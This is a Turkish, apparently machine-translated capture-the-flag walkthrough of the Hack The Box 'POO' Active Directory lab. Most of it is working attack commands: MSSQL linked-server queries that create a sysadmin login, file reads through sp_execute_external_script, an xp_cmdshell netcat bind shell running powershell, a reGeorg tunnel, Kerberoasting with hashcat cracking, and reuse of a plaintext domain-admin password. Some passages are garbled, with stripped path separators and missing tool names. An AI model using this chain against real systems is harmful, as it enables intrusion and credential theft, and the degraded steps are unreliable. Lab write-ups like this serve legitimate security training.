Bu yazıda, sadece bir makinenin değil, tüm bir mini laboratuvarın siteden geçişini analiz edeceğiz.
Açıklamada belirtildiği gibi POO, küçük bir Active Directory ortamında saldırıların tüm aşamalarında becerileri test etmek için tasarlanmıştır. Amaç, kullanılabilir bir ana bilgisayarı tehlikeye atmak, ayrıcalıkları yükseltmek ve sonunda süreçte 5 bayrak toplayarak tüm etki alanını tehlikeye atmaktır.
Laboratuvara bağlantı VPN üzerinden sağlanmaktadır. Bilgi güvenliği konusunda bir şeyler bilen kişilerle özel bir ağa girdiğiniz için çalışan bir bilgisayardan veya sizin için önemli verilerin olduğu bir ana bilgisayardan bağlanmamanız önerilir 🙂
organizasyon bilgisi
Yeni makaleler, yazılımlar ve diğer bilgiler hakkında bilgi edinebilmeniz için oluşturdum
Tüm bilgiler yalnızca eğitim amaçlı verilmektedir. Bu belgenin yazarı, bu belgenin incelenmesi sonucunda elde edilen bilgi ve yöntemlerin kullanılması sonucunda herhangi bir kişiye verilen zararlardan sorumlu değildir.
Intro
Bu oyun sonu iki makineden oluşur ve 5 bayrak içerir.
Mevcut ana bilgisayarın açıklaması ve adresi de verilmiştir.
Hadi başlayalım!
keşif bayrağı
Bu makinenin /etc/hosts'a eklediğim 10.13.38.11 IP adresi var.
10.13.38.11 poo.htb
İlk adım açık portları taramaktır. nmap ile tüm portları taramak uzun zaman aldığı için öncelikle masscan ile yapacağım. 0pps'de tun500 arayüzünden tüm TCP ve UDP portlarını tarıyoruz.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Şimdi portlarda çalışan servisler hakkında daha detaylı bilgi almak için -A seçeneği ile tarama yapalım.
nmap -A poo.htb -p80,1433
Böylece IIS ve MSSQL servislerimiz var. Bu durumda, alan adının ve bilgisayarın gerçek DNS adını bulacağız. Web sunucusunda bizi IIS ana sayfası karşılıyor.
Dizinler üzerinde yineleyelim. Bunun için gobuster kullanıyorum. Parametrelerde 128 (-t), URL (-u), sözlük (-w) ve bizi ilgilendiren uzantıların sayısını (-x) belirtiyoruz.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Bu nedenle, /admin dizini için HTTP kimlik doğrulamasının yanı sıra .DS_Store masaüstü hizmet depolama dosyasına sahibiz. .DS_Store, bir klasör için dosya listesi, simge konumu, seçilen arka plan görüntüsü gibi kullanıcı ayarlarını depolayan dosyalardır. Böyle bir dosya, web geliştiricilerinin web sunucusu dizininde sona erebilir. Böylece dizinin içeriği hakkında bilgi sahibi oluyoruz. Bunun için kullanabilirsiniz
python3 dsstore_crawler.py -i http://poo.htb/
Klasörün içeriğini alıyoruz. Buradaki en ilginç şey, iki dalda kaynakları ve db dosyalarını görebildiğimiz /dev dizini. Ancak, hizmet IIS ShortName'e karşı savunmasızsa, dosya ve dizin adlarının ilk 6 karakterini kullanabiliriz. Bu güvenlik açığını kullanarak kontrol edebilirsiniz.
Ve "poo_co" ile başlayan bir metin dosyası buluyoruz. Bundan sonra ne yapacağımı bilmeden, dizinler sözlüğünden "co" ile başlayan tüm kelimeleri seçtim.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Ve wfuzz ile yineleyin.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ve doğru kelimeyi bulun! Bu dosyaya bakıyoruz, kimlik bilgilerini kaydediyoruz (DBNAME parametresine göre MSSQL'den geliyorlar).
Bayrağı teslim ediyoruz ve %20 ilerliyoruz.
huh bayrağı
MSSQL'e bağlanıyoruz, DBeaver kullanıyorum.
Bu veritabanında ilginç bir şey bulamıyoruz, bir SQL Düzenleyici oluşturalım ve kullanıcıların ne olduğunu kontrol edelim.
SELECT name FROM master..syslogins;
İki kullanıcımız var. Ayrıcalıklarımızı kontrol edelim.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Bu nedenle, herhangi bir ayrıcalık yoktur. Bağlantılı sunucuları görelim, bu tekniği ayrıntılı olarak yazdım
SELECT * FROM master..sysservers;
Böylece başka bir SQL Server buluyoruz. Openquery() kullanarak bu sunucudaki komutların yürütülmesini kontrol edelim.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Hatta bir sorgu ağacı bile oluşturabiliriz.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Gerçek şu ki, bağlantılı bir sunucuya istekte bulunduğumuzda, istek başka bir kullanıcının bağlamında yürütülür! Bağlantılı sunucuda hangi kullanıcı bağlamını çalıştırdığımızı görelim.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Şimdi bağlantılı sunucudan bizim sunucumuza gelen isteğin hangi bağlamda yürütüldüğünü görelim!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Bu nedenle, tüm ayrıcalıklara sahip olması gereken bir DBO bağlamıdır. Bağlantılı bir sunucudan istek gelmesi durumunda ayrıcalıkları kontrol edelim.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Gördüğünüz gibi, tüm ayrıcalıklara sahibiz! Adminimizi bu şekilde oluşturalım. Ama openquery'den geçmelerine izin vermiyorlar, hadi EXECUTE AT ile yapalım.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ve şimdi yeni kullanıcının kimlik bilgileriyle bağlanıyoruz, yeni bayrak veritabanını gözlemliyoruz.
Bu bayrağı teslim edip daha ileri gidiyoruz.
Geri izleme bayrağı
MSSQL kullanarak kabuğu alalım, imppacket paketinden mssqlclient kullanıyorum.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Şifre almamız gerekiyor ve tanıştığımız ilk şey site. Bu nedenle, bir web sunucusu yapılandırmasına ihtiyacımız var (uygun bir kabuk atmak imkansız, görünüşe göre güvenlik duvarı çalışıyor).
Ancak erişim reddedildi. Dosyayı MSSQL'den okuyabilsek de, sadece hangi programlama dillerinin yapılandırıldığını bilmemiz gerekiyor. Ve MSSQL dizininde Python olduğunu öğreniyoruz.
O zaman web.config dosyasını okumakta sorun yok.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Bulunan kimlik bilgileriyle, /admin'e gidin ve bayrağı alın.
dayanak bayrağı
Aslında, güvenlik duvarı kullanmanın bazı sakıncaları vardır, ancak ağ ayarlarına baktığımızda IPv6 protokolünün de kullanıldığını görüyoruz!
Bu adresi /etc/hosts dizinine ekleyin.
dead:babe::1001 poo6.htb
Ana bilgisayarı tekrar tarayalım, ancak bu sefer IPv6 üzerinden.
Ve WinRM hizmeti IPv6 üzerinden kullanılabilir. Bulunan kimlik bilgileriyle bağlantı kuralım.
Masaüstünde bir bayrak var, teslim et.
P00ned bayrağı
ile ev sahibi üzerinde keşif yaptıktan sonra
setspn.exe -T intranet.poo -Q */*
Komutu MSSQL üzerinden çalıştıralım.
Bu şekilde, p00_hr ve p00_adm kullanıcılarının SPN'lerini alıyoruz, bu da onların Kerberoasting gibi bir saldırıya karşı savunmasız oldukları anlamına geliyor. Kısacası şifrelerinin hashlerini alabiliyoruz.
Öncelikle, MSSQL kullanıcısı adına kararlı bir kabuk edinmeniz gerekir. Ancak erişimimiz sınırlı olduğundan, ana bilgisayarla yalnızca 80 ve 1433 numaralı bağlantı noktaları üzerinden bağlantımız var. Ancak trafiği 80 numaralı bağlantı noktasından tünellemek mümkündür! Bunun için kullanıyoruz
Ancak erişmeye çalıştığımızda 404 hatası alıyoruz, bu da *.aspx dosyalarının yürütülmediği anlamına geliyor. Bu uzantılara sahip dosyaların çalışabilmesi için ASP.NET 4.5'i aşağıdaki gibi kurunuz.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ve şimdi, tünel.aspx'e eriştiğimizde, her şeyin hazır olduğu yanıtını alıyoruz.
Uygulamanın trafiği aktaracak istemci kısmını başlatalım. Tüm trafiği 5432 numaralı bağlantı noktasından sunucuya ileteceğiz.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ve herhangi bir uygulamanın trafiğini proxy'miz aracılığıyla göndermek için proxy zincirleri kullanıyoruz. /etc/proxychains.conf yapılandırma dosyasına bu proxy'yi ekleyelim.
Şimdi programı sunucuya yükleyelim.
Şimdi, MSSQL aracılığıyla dinleyiciyi başlatıyoruz.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ve proxy'miz aracılığıyla bağlanıyoruz.
proxychains rlwrap nc poo.htb 4321
Ve karmaları alalım.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Ardından, bu hash'leri yinelemeniz gerekir. Rockyou'nun parola veri sözlüğü olmadığından, Seclistlerde sağlanan TÜM parola sözlüklerini kullandım. Numaralandırma için hashcat kullanıyoruz.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ve her iki parolayı da buluyoruz, birincisi dutch_passwordlist.txt sözlüğünde, ikincisi Keyboard-Combinations.txt dosyasında.
Ve böylece üç kullanıcımız var, etki alanı denetleyicisine gidiyoruz. Önce adresini öğrenelim.
Harika, etki alanı denetleyicisinin IP adresini öğrendik. Alan adının tüm kullanıcılarını ve bunlardan hangisinin yönetici olduğunu öğrenelim. PowerView.ps1 bilgi almak için betiği indirmek için. Ardından, -s parametresinde komut dosyasıyla dizini belirterek, evil-winrm kullanarak bağlanacağız. Ardından, PowerView komut dosyasını yüklemeniz yeterlidir.
Artık tüm işlevlerine erişimimiz var. p00_adm kullanıcısı ayrıcalıklı bir kullanıcı gibi görünüyor, bu yüzden onun bağlamında çalışacağız. Bu kullanıcı için bir PSCredential nesnesi oluşturalım.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Şimdi Creds belirttiğimiz tüm Powershell komutları p00_adm adına yürütülecektir. Bir kullanıcı listesi ve AdminCount niteliğini görüntüleyelim.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ve böylece, kullanıcımız gerçekten ayrıcalıklı. Hangi gruplara ait olduğunu görelim.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Sonunda kullanıcının bir etki alanı yöneticisi olduğunu onaylıyoruz. Bu, ona etki alanı denetleyicisinde uzaktan oturum açma hakkı verir. Tünelimizi kullanarak WinRM ile oturum açmaya çalışalım. Evil-winrm kullanırken reGeorg tarafından verilen hatalar kafamı karıştırdı.
Sonra başka, daha kolay olanı kullanırız,
Bağlanmaya çalışıyoruz ve sistemin içindeyiz.
Ama bayrak yok. Ardından kullanıcıya bakın ve masaüstlerini kontrol edin.
mr3ks'te bayrağı buluyoruz ve laboratuvar %100 tamamlandı.
Bu kadar. Geri bildirim olarak, bu makaleden yeni bir şey öğrenip öğrenmediğinizi ve sizin için yararlı olup olmadığını yorumlayın.
bize katılabilirsiniz
Kaynak: habr.com